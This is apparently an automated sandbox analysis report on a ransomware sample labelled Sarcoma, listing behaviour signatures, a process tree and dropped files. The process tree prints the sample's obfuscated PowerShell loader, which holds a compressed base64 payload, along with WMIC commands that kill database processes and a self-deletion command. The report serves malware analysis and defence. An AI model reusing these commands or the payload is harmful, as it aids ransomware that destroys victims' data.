Resubmissions

16/08/2026, 16:16

260816-tq1lysssft

07/08/2026, 19:22

260807-x3d59shf97

27/07/2026, 21:53

260727-1rpdmsdd9610

Analysis

  • max time kernel
    149s
  • max time network
    176s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    27/07/2026, 21:53

General

  • Target
    Red-Flaged/6669cfeba5619b6f4d80b1281adfe69c87d845ebaaf9e83c25efa01a8267e751.exe
  • Size 3.3MB
  • Sample260727-1rpdmsdd96
  • SHA256 6669cfeba5619b6f4d80b1281adfe69c87d845ebaaf9e83c25efa01a8267e751
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: Sarcoma

    Sarcoma is a ransomware that has been active since 2025.

  • Renames multiple (160) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

  • Deletes itself 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops desktop.ini file(s) 16 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Red-Flaged\6669cfeba5619b6f4d80b1281adfe69c87d845ebaaf9e83c25efa01a8267e751.exe
    "C:\Users\Admin\AppData\Local\Temp\Red-Flaged\6669cfeba5619b6f4d80b1281adfe69c87d845ebaaf9e83c25efa01a8267e751.exe"
    1⤵
    • Drops desktop.ini file(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2976
    • C:\Windows\System32\WindowsPowerShell\v1.0\poweRSheLL.exe
      poweRSheLL -NolOGo -noprOFil -WIndOW HId -noninT -cOmMand " .( $sHeLlId[1]+$SHELliD[13]+'x') ( NEW-OBjECT sYsteM.io.stREAMreaDer( ( NEW-OBjECT io.cOMPReSSiON.defLatEStrEaM([iO.MeMOrySTREaM][ConVERT]::fRomBAse64strINg('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') , [IO.coMPREsSIOn.coMpreSSIonmODe]::deCOmPRESs ) ),[sySTeM.Text.enCodING]::asCii)).reAdToENd()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3336
      • C:\Windows\System32\Wbem\WMIC.exe
        "C:\Windows\System32\Wbem\WMIC.exe" process where "name like '%sqlservr%'" delete
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1792
      • C:\Windows\System32\Wbem\WMIC.exe
        "C:\Windows\System32\Wbem\WMIC.exe" process where "name like '%pg_ctl%'" delete
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5080
      • C:\Windows\System32\Wbem\WMIC.exe
        "C:\Windows\System32\Wbem\WMIC.exe" process where "name like '%postgres%'" delete
        3⤵
          PID:3752
        • C:\Windows\System32\Wbem\WMIC.exe
          "C:\Windows\System32\Wbem\WMIC.exe" process where "name like '%sqlwriter%'" delete
          3⤵
            PID:940
          • C:\Windows\System32\Wbem\WMIC.exe
            "C:\Windows\System32\Wbem\WMIC.exe" process where "name like '%SQLAGENT%'" delete
            3⤵
              PID:3864
            • C:\Windows\System32\Wbem\WMIC.exe
              "C:\Windows\System32\Wbem\WMIC.exe" process where "name like '%sqlbrowser%'" delete
              3⤵
                PID:3232
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -w h -c Start-Sleep -Seconds 5; Remove-Item -Force -Path "C:\Users\Admin\AppData\Local\Temp\Red-Flaged\6669cfeba5619b6f4d80b1281adfe69c87d845ebaaf9e83c25efa01a8267e751.exe"
              2⤵
              • Deletes itself
              • Suspicious behavior: EnumeratesProcesses
              PID:2180

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 3KB
                • SHA256 de35e0380446a3828393f8c00a6688542f97a2e07504276208a2fb7582e7e234
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 bf2dbd728331dad6524166e152eece1b80cd97177abc685309e4b5a30a7b3027
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_5gbg2crm.wbb.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5gbg2crm.wbb.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                590aee7bdd69b59b.customDestinations-ms

                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                • Size 6KB
                • SHA256 1e7da2b886e103095da9f3b0c07619b08585f85a7abd4a4792f5bb4fd1aad442
                • MD5 SHA1 SHA512 SSDEEP TLSH

                590aee7bdd69b59b.customDestinations-ms

                • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                • Size 6KB
                • SHA256 1ed7966c63b28c5cf5c33b29e7622f2c3435f135400d2e33ba158ae43ed1caa2
                • MD5 SHA1 SHA512 SSDEEP TLSH

                FAIL_STATE_NOTIFICATION.pdf

                • Path C:\Users\FAIL_STATE_NOTIFICATION.pdf
                • Size 631KB
                • SHA256 b48a05edcf7ee0257491f34731bec43ef26fd7d6adee8fd9aceebebe5cdbc0a1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                memory/2976-15-0x0000000000400000-0x000000000074E000-memory.dmp

                memory/2976-219-0x0000000000400000-0x000000000074E000-memory.dmp

                memory/3336-3-0x000001FE7E910000-0x000001FE7E920000-memory.dmp

                memory/3336-2-0x000001FE7E910000-0x000001FE7E920000-memory.dmp

                memory/3336-4-0x000001FE7E270000-0x000001FE7E292000-memory.dmp

                memory/3336-12-0x000001FE7E910000-0x000001FE7E920000-memory.dmp